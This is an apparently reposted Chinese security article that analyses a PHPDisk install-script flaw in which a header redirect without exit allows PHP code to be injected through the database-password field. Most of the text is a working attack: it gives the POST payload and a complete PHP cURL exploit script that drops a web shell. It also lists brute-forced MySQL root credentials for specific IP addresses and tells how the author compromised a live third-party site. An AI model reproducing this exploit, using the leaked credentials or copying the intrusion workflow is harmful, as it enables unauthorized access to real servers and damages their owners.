当前位置: 首页
网络安全
phpdisk漏洞header绕过与getShell利用解析

phpdisk漏洞header绕过与getShell利用解析

时间:2026-07-27
转载

PHPDISK网盘系统是一套基于PHP与MySQL构建的网络硬盘(文件存储管理)系统,在国内拥有广泛用户群体。近期在对其源码进行安全审计时,发现一个非常值得关注的问题——该漏洞本身并不复杂,但利用手段却十分直接,能够导致严重安全风险。 图一展示的是install目录下的index php,即程序安装

PHPDISK网盘系统是一套基于PHP与MySQL构建的网络硬盘(文件存储管理)系统,在国内拥有广泛用户群体。近期在对其源码进行安全审计时,发现一个非常值得关注的问题——该漏洞本身并不复杂,但利用手段却十分直接,能够导致严重安全风险。

phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

图一展示的是install目录下的index.php,即程序安装文件。从表面上看代码逻辑似乎并无异常:系统安装完成后会生成一个锁定文件,再次执行安装时会先检查该锁定文件是否存在,若存在则通过Header进行跳转。然而,问题正出在这里——跳转之后并未执行exit终止后续代码。在PHP中,header跳转后,脚本依然会继续执行。因此,攻击者可以直接通过POST方式提交数据,从而绕过安装锁定检查机制。

phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

从图二可以看出,安装流程完全由$step变量控制,而该变量又可以通过POST参数直接指定。顺着这一思路,我们可以继续寻找可以利用的代码点。

关键代码片段如下:

$str = " '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
    exit("Can not open file $config_file .");
}
if(is_writable($config_file)){
    if(@fwrite($fp,$str)){
        $msg .= "{$config_file} ".__('write_success')."";
    }else{
        // 写入失败处理
    }
}

POST数据会被直接写入配置文件configs.inc.php。进一步分析发现,为了安装便利,程序竟然去除了GPC转义处理:

function stripslashes_array(&$array) {
    if (is_array($array)) {
        foreach ($array as $k => $v) {
            $array[$k] = stripslashes_array($v);
        }
    } else if (is_string($array)) {
        $array = stripslashes($array);
    }
    return $array;
}
if (@get_magic_quotes_gpc()) {
    $_GET = stripslashes_array($_GET);
    $_POST = stripslashes_array($_POST);
}

这意味着攻击者可以直接写入任意PHP代码——因为这里没有任何过滤或转义机制。

漏洞利用与getShell方法详解

先来看一下配置文件写入的代码逻辑:

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
    mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);

这里会验证数据库连接是否可用,如果数据库信息错误则直接退出。因此,攻击者不能随意写入任意内容,只能利用dbpasswd字段来构造恶意载荷。

设想一下system目录下的configs.inc.php文件最终会变成什么样子:

'dbpasswd' => '',);?>',

这样,攻击者就可以直接使用中国菜刀等工具连接该WebShell。

由于没有GPC转义,直接POST一个'dbpasswd' = '',);?>'即可。实际上,密码值被设置为:',);?>

需要发送的POST数据包内容为:

$pass='\',);?>';
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;

当数据库信息正确时,该数据包就能成功写入一句话木马。

phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

图四展示了成功写入Shell后的效果。

getShell EXP编写实战

下面使用PHP的cURL库编写一个完整的漏洞利用EXP。根据前面构造的POST数据,并结合特征检测来判断是否成功写入:

$site = $argv[1]; //传入的网站
$url= $site."/install/index.php";
$pass='\',);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; // exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送POST数据
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //检测是否成功
    echo "Hi guy I get the Shell:".$shell;
}else{
    echo "Shit !!! This Site:$site Can not get Shell";
}

实战演示与操作过程

这种获取Shell的方式实际上会破坏configs.inc.php文件,导致整个网站无法正常运行,因此具有一定的破坏性。我们选择一个相对较新的站点(目前访问量较低)来进行演示。

首先需要找到一个可外联的MySQL数据库。尝试从已有Shell中外连,均未成功。随后向朋友索要了一个MySQL root密码爆破工具,成功爆破出一批root密码:

  • 98.126.4.252 root password
  • 98.126.4.253 root password
  • 98.126.4.250 root password
  • 98.126.4.251 root passwd
  • 98.126.4.254 root password
  • 98.126.4.252 root root123456
  • 98.126.4.253 root root123456

phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

随机选取一个,使用本地adminer(一个单文件PHP MySQL管理客户端)登录并修改密码。此时发送的data为:

$pass='\',);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;

在PHP命令行下执行:php phpdisk.php

phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

完成,Shell成功写入,接着使用菜刀连接即可。

phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

总结与安全建议

这是一个典型的由于Header跳转后未及时exit导致的绕过漏洞。PHP函数功能强大,但也需要谨慎使用,尤其是headerpreg_replaceeval等危险函数,稍有不慎就可能被恶意利用。开发者在编写代码时,务必养成在跳转后立即执行exit的好习惯,从根本上杜绝此类漏洞的发生。

游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。

同类文章
更多
DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

时间:2026-08-31 11:56
如何有效预防和缓解DDoS攻击:5大核心策略详解

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

时间:2026-08-31 11:56
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

时间:2026-08-31 11:55
常见DDoS攻击类型详解:原理、特征与防御策略

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

时间:2026-08-31 11:55
如何有效抵御DDOS攻击:4种核心防护方案解析

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。

时间:2026-08-31 11:54
热门专题
更多
刀塔传奇破解版无限钻石下载大全 刀塔传奇破解版无限钻石下载大全
洛克王国正式正版手游下载安装大全 洛克王国正式正版手游下载安装大全
思美人手游下载专区 思美人手游下载专区
好玩的阿拉德之怒游戏下载合集 好玩的阿拉德之怒游戏下载合集
不思议迷宫手游下载合集 不思议迷宫手游下载合集
百宝袋汉化组游戏最新合集 百宝袋汉化组游戏最新合集
jsk游戏合集30款游戏大全 jsk游戏合集30款游戏大全
宾果消消消原版下载大全 宾果消消消原版下载大全